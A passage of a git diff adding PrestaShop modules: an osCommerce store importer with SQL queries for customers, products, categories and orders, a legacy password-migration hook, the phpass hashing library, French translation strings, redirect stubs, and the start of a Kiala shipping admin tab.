'.(int)($limit).' , '.(int)$nrb_import + ); + + foreach($customers AS &$customer) + if (isset($customer['id_gender']) && array_key_exists($customer['id_gender'], $genderMatch)) + $customer['id_gender'] = $genderMatch[$customer['id_gender']]; + else + $customer['id_gender'] = 0; + + return $this->autoFormat($customers, $identifier); + } + + public function getAddresses($limit = 0, $nrb_import = 100) + { + $identifier = 'id_address'; + $addresses = $this->executeS(' + SELECT address_book_id as id_address, customers_id as id_customer, CONCAT(customers_id, \'_address\') as alias, entry_company as company, entry_firstname as firstname, + entry_lastname as lastname, entry_street_address as address1, entry_postcode as postcode, entry_city as city, entry_country_id as id_country, 0 as id_state + FROM `'.bqSQL($this->prefix).'address_book` LIMIT '.(int)($limit).' , '.(int)$nrb_import); + return $this->autoFormat($addresses, $identifier); + } + + public function getCategories($limit = 0, $nrb_import = 100) + { + $multiLangFields = array('name', 'link_rewrite'); + $keyLanguage = 'id_lang'; + $identifier = 'id_category'; + $categories = $this->executeS(' + SELECT c.categories_id as id_category, c.parent_id as id_parent, level as level_depth, cd.language_id as id_lang, cd.categories_name as name , 1 as active, categories_image as images + FROM `'.bqSQL($this->prefix).'categories` c + LEFT JOIN `'.bqSQL($this->prefix).'categories_description` cd ON (c.categories_id = cd.categories_id) + WHERE cd.categories_name IS NOT NULL AND cd.language_id IS NOT NULL + ORDER BY c.level ASC , c.`categories_id` + LIMIT '.(int)($limit).' , '.(int)$nrb_import); + foreach($categories as& $cat) + { + $cat['link_rewrite'] = Tools::link_rewrite($cat['name']); + $cat['images'] = array(Tools::getProtocol().Tools::getValue('shop_url').'/images/'.$cat['images']); + } + + return $this->autoFormat($categories, $identifier, $keyLanguage, $multiLangFields); + } + + public function getAttributesGroups($limit = 0, $nrb_import = 100) + { + $multiLangFields = array('name', 'public_name'); + $keyLanguage = 'id_lang'; + $identifier = 'id_attribute_group'; + $countries = $this->executeS(' + SELECT products_options_id as id_attribute_group, products_options_name as name , products_options_name as public_name, language_id as id_lang, 0 as is_color_group + FROM `'.bqSQL($this->prefix).'products_options` + LIMIT '.(int)($limit).' , '.(int)$nrb_import); + return $this->autoFormat($countries, $identifier, $keyLanguage, $multiLangFields); + } + + public function getAttributes($limit = 0, $nrb_import = 100) + { + $multiLangFields = array('name'); + $keyLanguage = 'id_lang'; + $identifier = 'id_attribute'; + $countries = $this->executeS(' + SELECT p.`products_options_values_id` as id_attribute, p.`products_options_values_name` as name, p.`language_id` as id_lang , po.`products_options_id` as id_attribute_group + FROM `'.bqSQL($this->prefix).'products_options_values` p + LEFT JOIN `'.bqSQL($this->prefix).'products_options_values_to_products_options` po ON (po.products_options_values_id = p.products_options_values_id) + ORDER BY p.`products_options_values_id` + LIMIT '.(int)($limit).' , '.(int)$nrb_import); + return $this->autoFormat($countries, $identifier, $keyLanguage, $multiLangFields); + } + + public function getProducts($limit = 0, $nrb_import = 100) + { + $multiLangFields = array('name', 'link_rewrite', 'description'); + $keyLanguage = 'id_lang'; + $identifier = 'id_product'; + $products = $this->executeS(' + SELECT p.`products_id` as id_product, p.`products_quantity` as quantity, p.`products_model` as reference, p.`products_price` as price, p.`products_weight` as weight, + IFNULL(STRCMP(p.`products_status`, \'\') , 0 ) as active, p.`manufacturers_id` as id_manufacturer, pd.language_id as id_lang, pd.products_name as name, + pd.products_description as description, CONCAT(\''.pSQL(Tools::getProtocol()).pSQL(Tools::getValue('shop_url')).'\/images/\',p.`products_image`) as images, + (SELECT ptc.categories_id FROM `'.bqSQL($this->prefix).'products_to_categories` ptc WHERE ptc.`products_id` = p.`products_id` LIMIT 1) as id_category_default, + p.`products_date_added` as date_add + FROM `'.bqSQL($this->prefix).'products` p + LEFT JOIN `'.bqSQL($this->prefix).'products_description` pd ON (p.products_id = pd.products_id) + WHERE pd.products_name IS NOT NULL AND pd.language_id IS NOT NULL + ORDER BY p.`products_id` + LIMIT '.(int)($limit).' , '.(int)$nrb_import); + + $this->execute('CREATE TABLE IF NOT EXISTS`products_images` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `products_id` int(11) NOT NULL, + `image` varchar(64) DEFAULT NULL, + `htmlcontent` text, + `sort_order` int(11) NOT NULL, + PRIMARY KEY (`id`), + KEY `products_images_prodid` (`products_id`) + )'); + foreach($products as& $product) + { + $result = $this->executeS('SELECT `image` FROM `'.bqSQL($this->prefix).'products_images` WHERE products_id = '.(int)$product['id_product']); + $images = array(); + foreach($result as $res) + $images[] = Tools::getProtocol().Tools::getValue('shop_url').'/images/'.$res['image']; + $product['images'] = array_merge(array($product['images']), $images); + $product['link_rewrite'] = Tools::link_rewrite($product['name']); + + + $result = $this->executeS('SELECT `categories_id` FROM `'.bqSQL($this->prefix).'products_to_categories` WHERE products_id = '.(int)$product['id_product']); + $category_product = array('category_product' => array($product['id_category_default'] => $product['id_product'])); + foreach($result as $res) + $category_product['category_product'][$res['categories_id']] = $product['id_product']; + $product['association'] = $category_product; + } + return $this->autoFormat($products, $identifier, $keyLanguage, $multiLangFields); + } + + public function getProductsCombination($limit = 0, $nrb_import = 100) + { + $identifier = 'id_product_attribute'; + $combinations = $this->executeS(' + SELECT products_attributes_id as id_product_attribute, products_id as id_product, options_values_price as price, options_values_id + FROM `'.bqSQL($this->prefix).'products_attributes` LIMIT '.(int)($limit).' , '.(int)$nrb_import); + foreach($combinations as& $combination) + { + $combination['association'] = array('product_attribute_combination' => array($combination['options_values_id'] => $combination['id_product_attribute'])); + unset($combination['options_values_id']); + } + return $this->autoFormat($combinations, $identifier); + } + + public function getManufacturers($limit = 0, $nrb_import = 100) + { + $identifier = 'id_manufacturer'; + $manufacturers = $this->executeS(' + SELECT manufacturers_id as id_manufacturer, manufacturers_name as name, 1 as active, manufacturers_image as images + FROM `'.bqSQL($this->prefix).'manufacturers` LIMIT '.(int)($limit).' , '.(int)$nrb_import); + foreach($manufacturers as& $manufacturer) + $manufacturer['images'] = array(Tools::getProtocol().Tools::getValue('shop_url').'/images/'.$manufacturer['images']); + + return $this->autoFormat($manufacturers, $identifier); + } + + public function getOrdersStates($limit = 0, $nrb_import = 100) + { + $multiLangFields = array('name'); + $keyLanguage = 'id_lang'; + $identifier = 'id_order_state'; + $ordersStates = $this->executeS(' + SELECT `orders_status_id` as id_order_state, `language_id` as id_lang, `orders_status_name` as name , 1 as hidden + FROM `'.bqSQL($this->prefix).'orders_status` + LIMIT '.(int)($limit).' , '.(int)$nrb_import);//IF(`public_flag` = 0, 1, 0) as hidden + return $this->autoFormat($ordersStates, $identifier, $keyLanguage, $multiLangFields); + } + + public function getOrders($limit = 0, $nrb_import = 100) + { + $orders = array(); + $addresses = $this->executeS('SELECT customers_id as id_customer, address_book_id as id_address FROM `'.bqSQL($this->prefix).'address_book` GROUP BY customers_id'); + $matchAddresses = array(); + foreach($addresses as $address) + $matchAddresses[$address['id_customer']] = $address['id_address']; + $psCarrierDefault = (int)Configuration::get('PS_CARRIER_DEFAULT'); + $psCurrency = Currency::getCurrencies(); + + foreach($psCurrency as $key => $currency) + { + $psCurrency[$currency['iso_code']] = $currency['id_currency']; + unset($psCurrency[$key]); + } + + $orders = $this->executeS(' + SELECT orders_id as id_cart, '.$psCarrierDefault.' as id_carrier, 1 as id_lang, currency as id_currency, customers_id as id_customer, payment_method as payment, 1 as valid, + date_purchased as date_add, last_modified as date_upd + FROM `'.bqSQL($this->prefix).'orders` LIMIT '.(int)($limit).' , '.(int)$nrb_import); + foreach($orders as $key => $order) + { + $orders[$key]['id_currency'] = (array_key_exists($order['id_currency'], $psCurrency) ? $psCurrency[$order['id_currency']] : 0); + $orders[$key]['id_address_delivery'] = (array_key_exists($order['id_customer'], $matchAddresses) ? $matchAddresses[$order['id_customer']] : 0); + $orders[$key]['id_address_invoice'] = (array_key_exists($order['id_customer'], $matchAddresses) ? $matchAddresses[$order['id_customer']] : 0); + $orders[$key]['total_paid'] = $this->getValue('SELECT value FROM `'.bqSQL($this->prefix).'orders_total` WHERE `orders_id` = '.(int)$order['id_cart'].' AND class=\'ot_total\''); + $orders[$key]['total_paid_real'] = $this->getValue('SELECT value FROM `'.bqSQL($this->prefix).'orders_total` WHERE `orders_id` = '.(int)$order['id_cart'].' AND class=\'ot_total\''); + $orders[$key]['total_products'] = $this->getValue('SELECT value FROM `'.bqSQL($this->prefix).'orders_total` WHERE `orders_id` = '.(int)$order['id_cart'].' AND class=\'ot_shipping\''); + $tax = $this->getValue('SELECT value FROM `'.bqSQL($this->prefix).'orders_total` WHERE `orders_id` = '.(int)$order['id_cart'].' AND class=\'ot_tax\''); + $orders[$key]['total_products_wt'] = $this->getValue('SELECT value FROM `'.bqSQL($this->prefix).'orders_total` WHERE `orders_id` = '.(int)$order['id_cart'].' AND class=\'ot_total\'') - $tax; + $orders[$key]['total_shipping'] = $this->getValue('SELECT value FROM `'.bqSQL($this->prefix).'orders_total` WHERE `orders_id` = '.(int)$order['id_cart'].' AND class=\'ot_shipping\''); + $orders[$key]['total_discounts'] = 0; + $orders[$key]['total_wrapping'] = 0; + $orders[$key]['cart_products'] = $this->executeS(' + SELECT `orders_id` as id_cart, `products_id` as id_product, 0 as id_product_attribute, `products_quantity` as quantity + FROM `'.bqSQL($this->prefix).'orders_products` WHERE `orders_id` = '.(int)$order['id_cart']); + $orders[$key]['order_products'] = $this->executeS(' + SELECT `orders_id` as id_order, `products_id` as product_id, 0 as product_attribute_id, `products_name` as product_name, `products_quantity` as product_quantity, + `final_price` as product_price, 0 as product_weight + FROM `'.bqSQL($this->prefix).'orders_products` WHERE `orders_id` = '.(int)$order['id_cart']); + $orders[$key]['order_history'] = $this->executeS(' + SELECT `orders_status_history_id` as id_order_history, 0 as id_employee, `orders_id` as id_order, `orders_status_id` as id_order_state, `date_added` as date_add + FROM `'.bqSQL($this->prefix).'orders_status_history` WHERE `orders_id` = '.(int)$order['id_cart']); + + } + return $orders; + } + + private function autoFormat($items, $identifier, $keyLanguage = NULL, $multiLangFields = array()) + { + $array = array(); + foreach ($items AS $item) + if (sizeof($multiLangFields) && is_array($multiLangFields) && isset($array[$item[$identifier]][$multiLangFields[0]])) + foreach ($multiLangFields AS $key) + $array[$item[$identifier]][$key][$item[$keyLanguage]] = $item[$key]; + else + foreach ($item AS $key => $value) + if (sizeof($multiLangFields) AND in_array($key, $multiLangFields)) + $array[$item[$identifier]][$key] = array($item[$keyLanguage] => $value); + elseif (sizeof($multiLangFields) AND $key == $keyLanguage) + continue; + else + $array[$item[$identifier]][$key] = $value; + return $array; + } + + public function hookbeforeAuthentication($params) + { + $passwd = trim(Tools::getValue('passwd')); + $email = trim(Tools::getValue('email')); + $result = Db::getInstance()->GetRow(' + SELECT * + FROM `'._DB_PREFIX_ .'customer` + WHERE `active` = 1 AND `email` = \''.pSQL($email).'\''); + if ($result && !empty($result['passwd_'.$this->name])) + { + if($this->checkPwd($passwd, $result['passwd_'.pSQL($this->name)])) + { + $ps_passwd = md5(pSQL(_COOKIE_KEY_.$passwd)); + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'customer` + SET `passwd` = \''.pSQL($ps_passwd).'\', `passwd_'.bqSQL($this->name).'` = \'\' + WHERE `'._DB_PREFIX_.'customer`.`id_customer` ='.(int)$result['id_customer'].' LIMIT 1'); + } + } + + } + + private function checkPwd($passwd, $encrypt_pwd) + { + //checks the type of encryption password + if (preg_match('/^[A-Z0-9]{32}\:[A-Z0-9]{2}$/i', $encrypt_pwd) === 1) + { + //salt + $stack = explode(':', $encrypt_pwd); + if (sizeof($stack) != 2) + return false; + + if (md5($stack[1] . $passwd) == $stack[0]) + return true; + else + return false; + } + else + { + //phpass + if (file_exists(dirname(__FILE__).'/passwordhash.php')) + { + include(dirname(__FILE__).'/passwordhash.php'); + $hasher = new PasswordHash(10, true); + return $hasher->CheckPassword($passwd, $encrypt_pwd); + } + else + return false; + } + + } + + public function displayConfigConnector() + { + $content = ' + +
        + +

        '.$this->l('(eg : mysql.mydomain.com)').'

        +
        + +
        + +
        + +
        + +

        '.$this->l('(password can be empty)').'

        +
        + +
        + +
        + +
        + +

        '.$this->l('(The prefix is optional. If all of your database tables start with "pref_", your prefix is "pref_")').'

        +
        '; + return $content; +} + + public function checkCategoriesLevel() + { + $columns = $this->executeS('SHOW COLUMNS FROM `'.bqSQL($this->prefix).'categories` '); + foreach($columns as $field) + if ($field['Field'] == 'level') + return true; + return false; +} + + public function displayCategoriesLevelConf() + { + $html = ' + '; + + $html .= ' + '; + + return $html; + } + + public function createLevelAndCalculate() + { + if ($this->checkCategoriesLevel()) + die('{"hasError" : false}'); + + if ($this->createLevel()) + $this->calculateLevel(); + else + die('{"hasError" : true, "error" : "'.$this->l('Can not ALTER TABLE').'"}'); + } + + public function createLevel() + { + return $this->execute('ALTER TABLE `'.bqSQL($this->prefix).'categories` ADD `level` INT NOT NULL'); + } + + public function calculateLevel() + { + $this->updateLevel($this->getSubCat(0), 1); + die('{"hasError" : false}'); + } + + public function updateLevel($ids_cat, $level = 1) + { + $this->execute(' + UPDATE `'.bqSQL($this->prefix).'categories` + SET level = '.(int)$level.' + WHERE categories_id IN ('.implode(',', $ids_cat).')'); + foreach($ids_cat as $id) + if ($sub_cat = $this->getSubCat($id)) + $this->updateLevel($sub_cat, $level + 1); + + } + + public function getSubCat($id_parent) + { + $result = $this->executeS('SELECT `categories_id` FROM `'.bqSQL($this->prefix).'categories` WHERE `parent_id`='.(int)$id_parent); + if (!is_array($result) OR empty($result)) + return false; + return $this->formatCategoriesIds($result); + } + + public function formatCategoriesIds($result) + { + $return = array(); + foreach($result as $key => $val) + $return[] = $val['categories_id']; + return $return; + } +} + +?> diff --git a/modules/importerosc/index.php b/modules/importerosc/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/importerosc/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/importerosc/logo.gif b/modules/importerosc/logo.gif new file mode 100755 index 0000000..cabfae4 Binary files /dev/null and b/modules/importerosc/logo.gif differ diff --git a/modules/importerosc/logo.png b/modules/importerosc/logo.png new file mode 100755 index 0000000..20cf15b Binary files /dev/null and b/modules/importerosc/logo.png differ diff --git a/modules/importerosc/passwordhash.php b/modules/importerosc/passwordhash.php new file mode 100755 index 0000000..55e80ce --- /dev/null +++ b/modules/importerosc/passwordhash.php @@ -0,0 +1,254 @@ + in 2004-2006 and placed in +# the public domain. Revised in subsequent years, still public domain. +# +# There's absolutely no warranty. +# +# The homepage URL for this framework is: +# +# http://www.openwall.com/phpass/ +# +# Please be sure to update the Version line if you edit this file in any way. +# It is suggested that you leave the main version number intact, but indicate +# your project name (after the slash) and add your own revision information. +# +# Please do not change the "private" password hashing method implemented in +# here, thereby making your hashes incompatible. However, if you must, please +# change the hash type identifier (the "$P$") to something different. +# +# Obviously, since this code is in the public domain, the above are not +# requirements (there can be none), but merely suggestions. +# +class PasswordHash { + var $itoa64; + var $iteration_count_log2; + var $portable_hashes; + var $random_state; + + function PasswordHash($iteration_count_log2, $portable_hashes) + { + $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; + + if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) + $iteration_count_log2 = 8; + $this->iteration_count_log2 = $iteration_count_log2; + + $this->portable_hashes = $portable_hashes; + + $this->random_state = microtime(); + if (function_exists('getmypid')) + $this->random_state .= getmypid(); + } + + function get_random_bytes($count) + { + $output = ''; + if (@is_readable('/dev/urandom') && + ($fh = @fopen('/dev/urandom', 'rb'))) { + $output = fread($fh, $count); + fclose($fh); + } + + if (strlen($output) < $count) { + $output = ''; + for ($i = 0; $i < $count; $i += 16) { + $this->random_state = + md5(microtime() . $this->random_state); + $output .= + pack('H*', md5($this->random_state)); + } + $output = substr($output, 0, $count); + } + + return $output; + } + + function encode64($input, $count) + { + $output = ''; + $i = 0; + do { + $value = ord($input[$i++]); + $output .= $this->itoa64[$value & 0x3f]; + if ($i < $count) + $value |= ord($input[$i]) << 8; + $output .= $this->itoa64[($value >> 6) & 0x3f]; + if ($i++ >= $count) + break; + if ($i < $count) + $value |= ord($input[$i]) << 16; + $output .= $this->itoa64[($value >> 12) & 0x3f]; + if ($i++ >= $count) + break; + $output .= $this->itoa64[($value >> 18) & 0x3f]; + } while ($i < $count); + + return $output; + } + + function gensalt_private($input) + { + $output = '$P$'; + $output .= $this->itoa64[min($this->iteration_count_log2 + + ((PHP_VERSION >= '5') ? 5 : 3), 30)]; + $output .= $this->encode64($input, 6); + + return $output; + } + + function crypt_private($password, $setting) + { + $output = '*0'; + if (substr($setting, 0, 2) == $output) + $output = '*1'; + + $id = substr($setting, 0, 3); + # We use "$P$", phpBB3 uses "$H$" for the same thing + if ($id != '$P$' && $id != '$H$') + return $output; + + $count_log2 = strpos($this->itoa64, $setting[3]); + if ($count_log2 < 7 || $count_log2 > 30) + return $output; + + $count = 1 << $count_log2; + + $salt = substr($setting, 4, 8); + if (strlen($salt) != 8) + return $output; + + # We're kind of forced to use MD5 here since it's the only + # cryptographic primitive available in all versions of PHP + # currently in use. To implement our own low-level crypto + # in PHP would result in much worse performance and + # consequently in lower iteration counts and hashes that are + # quicker to crack (by non-PHP code). + if (PHP_VERSION >= '5') { + $hash = md5($salt . $password, TRUE); + do { + $hash = md5($hash . $password, TRUE); + } while (--$count); + } else { + $hash = pack('H*', md5($salt . $password)); + do { + $hash = pack('H*', md5($hash . $password)); + } while (--$count); + } + + $output = substr($setting, 0, 12); + $output .= $this->encode64($hash, 16); + + return $output; + } + + function gensalt_extended($input) + { + $count_log2 = min($this->iteration_count_log2 + 8, 24); + # This should be odd to not reveal weak DES keys, and the + # maximum valid value is (2**24 - 1) which is odd anyway. + $count = (1 << $count_log2) - 1; + + $output = '_'; + $output .= $this->itoa64[$count & 0x3f]; + $output .= $this->itoa64[($count >> 6) & 0x3f]; + $output .= $this->itoa64[($count >> 12) & 0x3f]; + $output .= $this->itoa64[($count >> 18) & 0x3f]; + + $output .= $this->encode64($input, 3); + + return $output; + } + + function gensalt_blowfish($input) + { + # This one needs to use a different order of characters and a + # different encoding scheme from the one in encode64() above. + # We care because the last character in our encoded string will + # only represent 2 bits. While two known implementations of + # bcrypt will happily accept and correct a salt string which + # has the 4 unused bits set to non-zero, we do not want to take + # chances and we also do not want to waste an additional byte + # of entropy. + $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; + + $output = '$2a$'; + $output .= chr(ord('0') + $this->iteration_count_log2 / 10); + $output .= chr(ord('0') + $this->iteration_count_log2 % 10); + $output .= '$'; + + $i = 0; + do { + $c1 = ord($input[$i++]); + $output .= $itoa64[$c1 >> 2]; + $c1 = ($c1 & 0x03) << 4; + if ($i >= 16) { + $output .= $itoa64[$c1]; + break; + } + + $c2 = ord($input[$i++]); + $c1 |= $c2 >> 4; + $output .= $itoa64[$c1]; + $c1 = ($c2 & 0x0f) << 2; + + $c2 = ord($input[$i++]); + $c1 |= $c2 >> 6; + $output .= $itoa64[$c1]; + $output .= $itoa64[$c2 & 0x3f]; + } while (1); + + return $output; + } + + function HashPassword($password) + { + $random = ''; + + if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) { + $random = $this->get_random_bytes(16); + $hash = + crypt($password, $this->gensalt_blowfish($random)); + if (strlen($hash) == 60) + return $hash; + } + + if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) { + if (strlen($random) < 3) + $random = $this->get_random_bytes(3); + $hash = + crypt($password, $this->gensalt_extended($random)); + if (strlen($hash) == 20) + return $hash; + } + + if (strlen($random) < 6) + $random = $this->get_random_bytes(6); + $hash = + $this->crypt_private($password, + $this->gensalt_private($random)); + if (strlen($hash) == 34) + return $hash; + + # Returning '*' on error is safe here, but would _not_ be safe + # in a crypt(3)-like function used _both_ for generating new + # hashes and for validating passwords against existing hashes. + return '*'; + } + + function CheckPassword($password, $stored_hash) + { + $hash = $this->crypt_private($password, $stored_hash); + if ($hash[0] == '*') + $hash = crypt($password, $stored_hash); + + return $hash == $stored_hash; + } +} + +?> diff --git a/modules/importerosc/translations/fr.php b/modules/importerosc/translations/fr.php new file mode 100755 index 0000000..c400669 --- /dev/null +++ b/modules/importerosc/translations/fr.php @@ -0,0 +1,28 @@ +importerosc_e273168c3697c35b8c737d14b1a5fb26'] = 'Import OsCommerce'; +$_MODULE['<{importerosc}prestashop>importerosc_f4a344f88bab7b04a73077bafc8a0187'] = 'Ce module permet d\'importer votre boutique OsCommerce dans prestashop'; +$_MODULE['<{importerosc}prestashop>importerosc_a410107bacc21de421c07f0162f40878'] = 'Langue par défaut d\'osCommerce'; +$_MODULE['<{importerosc}prestashop>importerosc_6325b420c7e3747295ebc4265ca5ebf5'] = 'Monnaie par défaut d\'osCommerce'; +$_MODULE['<{importerosc}prestashop>importerosc_3128e575f57c8bff6950eb946748318a'] = 'Url de votre boutique :'; +$_MODULE['<{importerosc}prestashop>importerosc_f106e79e646e4262fae765f77db9ca91'] = 'Indiquez l\'URL racine de votre site oscommerce'; +$_MODULE['<{importerosc}prestashop>importerosc_a89a64592edf58aee0fc749735902cea'] = 'Merci de choisir une langue par défaut'; +$_MODULE['<{importerosc}prestashop>importerosc_375e6e17d4bd18a5163d3a7d13b80b4b'] = 'Merci de choisir la devise par défaut'; +$_MODULE['<{importerosc}prestashop>importerosc_294f0969b5f80f1bae24a7183eb338d5'] = 'Merci de choisir l\'url de la boutique'; +$_MODULE['<{importerosc}prestashop>importerosc_86545d77ce5790e924190d9b5a7ac1b6'] = 'Group par défaut OsCommerce'; +$_MODULE['<{importerosc}prestashop>importerosc_9aa1b03934893d7134a660af4204f2a9'] = 'Serveur'; +$_MODULE['<{importerosc}prestashop>importerosc_770b2f7556eecbe5000cfcbddc9f9885'] = '(Ex: mysql.mydomain.com)'; +$_MODULE['<{importerosc}prestashop>importerosc_8f9bfe9d1345237cb3b2b205864da075'] = 'Utilisateur'; +$_MODULE['<{importerosc}prestashop>importerosc_dc647eb65e6711e155375218212b3964'] = 'Mot de passe'; +$_MODULE['<{importerosc}prestashop>importerosc_14ae0ea02f571a833786d13d9ca6a897'] = '(Mot de passe peut être vide)'; +$_MODULE['<{importerosc}prestashop>importerosc_e307db07b3975fef922a80d07455ee5e'] = 'Base de données'; +$_MODULE['<{importerosc}prestashop>importerosc_dac130bdd2c5492a8108a4145bd9f04a'] = 'Préfixe base de données'; +$_MODULE['<{importerosc}prestashop>importerosc_6bdc02625540b5264cffe801c37a82dd'] = '(Le préfixe est optionnel. Si toute votre base de données commence par \"pref_\", votre préfixe est \"pref_\")\"'; +$_MODULE['<{importerosc}prestashop>importerosc_4685343b5e2e0f0fbee63dddafde693f'] = 'Vous essayez d\'importer des catégories et nous avons détecté que votre base de données osCommerce n\'ont pas le champs \"niveau\" dans la table catégorie. Vous devez avoir ce champs pour continuer l\'importation de catégories.\"'; +$_MODULE['<{importerosc}prestashop>importerosc_16f35420186575c2a1d9c0b59edf6ad3'] = 'Cliquez ici pour ajouter et de calculer le champs niveau'; +$_MODULE['<{importerosc}prestashop>importerosc_fced104d747e0855ceff3020653104ab'] = 'Le champ \"niveau\" a été créé et calculé, vous pouvez continuer\"'; +$_MODULE['<{importerosc}prestashop>importerosc_b405d0bebeedbdc1773a44ac36b8ffc4'] = 'Il est fortement recommandé de sauvegarder votre base de données avant de continuer. Avez-vous fait une sauvegarde?'; +$_MODULE['<{importerosc}prestashop>importerosc_9f95fc55011203d91d50a0ed512f805f'] = 'Impossible de \"ALTER TABLE\"'; diff --git a/modules/importerosc/translations/index.php b/modules/importerosc/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/importerosc/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/index.php b/modules/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/modules/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/modules/kiala/AdminKiala.php b/modules/kiala/AdminKiala.php new file mode 100755 index 0000000..9fcbfc3 --- /dev/null +++ b/modules/kiala/AdminKiala.php @@ -0,0 +1,363 @@ + +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/classes/KialaOrder.php'); +require_once(dirname(__FILE__).'/classes/ExportFormat.php'); +require_once(dirname(__FILE__).'/classes/KialaCountry.php'); +require_once(dirname(__FILE__).'/classes/KialaRequest.php'); + +class AdminKiala extends AdminTab +{ + public function __construct() + { + global $cookie; + $this->table = 'kiala_order'; + $this->className = 'KialaOrder'; + + $this->edit = true; + $this->noAdd = true; + + if(!$id_lang = $cookie->id_lang) + $id_lang = Configuration::get('PS_LANG_DEFAULT'); + + $this->fieldsDisplay = array( + 'id_kiala_order' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'exported' => array('title' => $this->l('Exported'), 'width' => 25, 'align' => 'center', 'type' => 'bool', 'filter_key' => 'exported', 'tmpTableFilter' => true, 'icon' => array(0 => 'blank.gif', 1 => 'enabled.gif')), + 'customer' => array('title' => $this->l('Customer'), 'width' => 120, 'filter_key' => 'customer', 'tmpTableFilter' => true), + 'country' => array('title' => $this->l('Country'), 'width' => 80, 'filter_key' => 'country', 'tmpTableFilter' => true), + 'kiala_point' => array('title' => $this->l('Kiala point'), 'width' => 60), + 'total_paid' => array('title' => $this->l('Total'), 'width' => 60, 'align' => 'right', 'prefix' => '', 'suffix' => '', 'price' => true, 'currency' => true), + 'osname' => array('title' => $this->l('Payment'), 'width' => 90), + 'date_add' => array('title' => $this->l('Order date'), 'width' => 35, 'align' => 'right', 'type' => 'datetime', 'filter_key' => 'a!date_add'), + 'invoice_date' => array('title' => $this->l('Invoice date'), 'width' => 35, 'align' => 'right', 'type' => 'datetime', 'filter_key' => 'a!invoice_date')); + + $this->_select = 'o.total_paid, o.id_currency, o.date_add, o.invoice_date, CONCAT(c.firstname, \' \', c.lastname) as customer, cl.name as country, osl.`name` AS `osname`'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'orders` o ON (o.`id_order` = a.`id_order`) + LEFT JOIN '._DB_PREFIX_.'customer c ON (c.id_customer = a.id_customer) + LEFT JOIN '._DB_PREFIX_.'country_lang cl ON (cl.id_country = a.id_country_delivery) AND (cl.id_lang = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'order_history` oh ON (oh.`id_order` = a.`id_order`) + LEFT JOIN `'._DB_PREFIX_.'order_state` os ON (os.`id_order_state` = oh.`id_order_state`) + LEFT JOIN `'._DB_PREFIX_.'order_state_lang` osl ON (os.`id_order_state` = osl.`id_order_state` AND osl.`id_lang` = '.(int)($cookie->id_lang).')'; + $this->_where = 'AND a.id_order != 0 AND oh.`id_order_history` = (SELECT MAX(`id_order_history`) FROM `'._DB_PREFIX_.'order_history` moh WHERE moh.`id_order` = a.`id_order` GROUP BY moh.`id_order`)'; + $this->_orderWay = 'DESC'; + // Clean old empty kiala orders + KialaOrder::cleanEmptyOrders(); + + parent::__construct(); + + } + + /** + * Override parent function to display a list with bulk selection and export + */ + public function displayListContent($token = NULL) + { + /* Display results in a table + * + * align : determine value alignment + * prefix : displayed before value + * suffix : displayed after value + * image : object image + * icon : icon determined by values + * active : allow to toggle status + */ + + global $currentIndex, $cookie; + $currency = new Currency(Configuration::get('PS_CURRENCY_DEFAULT')); + + $id_category = 1; // default categ + + $irow = 0; + if ($this->_list AND isset($this->fieldsDisplay['position'])) + { + $positions = array_map(create_function('$elem', 'return (int)($elem[\'position\']);'), $this->_list); + sort($positions); + } + + if ($this->_list) + { + $isCms = false; + $keyToGet = 'id_'.($isCms ? 'cms_' : '').'category'.(in_array($this->identifier, array('id_category', 'id_cms_category')) ? '_parent' : ''); + foreach ($this->_list AS $tr) + { + $id = $tr[$this->identifier]; + echo 'identifier,$this->identifiersDnd) ? ' id="tr_'.(($id_category = (int)(Tools::getValue('id_'.($isCms ? 'cms_' : '').'category', '1'))) ? $id_category : '').'_'.$id.'_'.$tr['position'].'"' : '').($irow++ % 2 ? ' class="alt_row"' : '').' '.((isset($tr['color']) AND $this->colorOnBackground) ? 'style="background-color: '.$tr['color'].'"' : '').'> + '; + + echo ''; + echo ''; + foreach ($this->fieldsDisplay AS $key => $params) + { + $tmp = 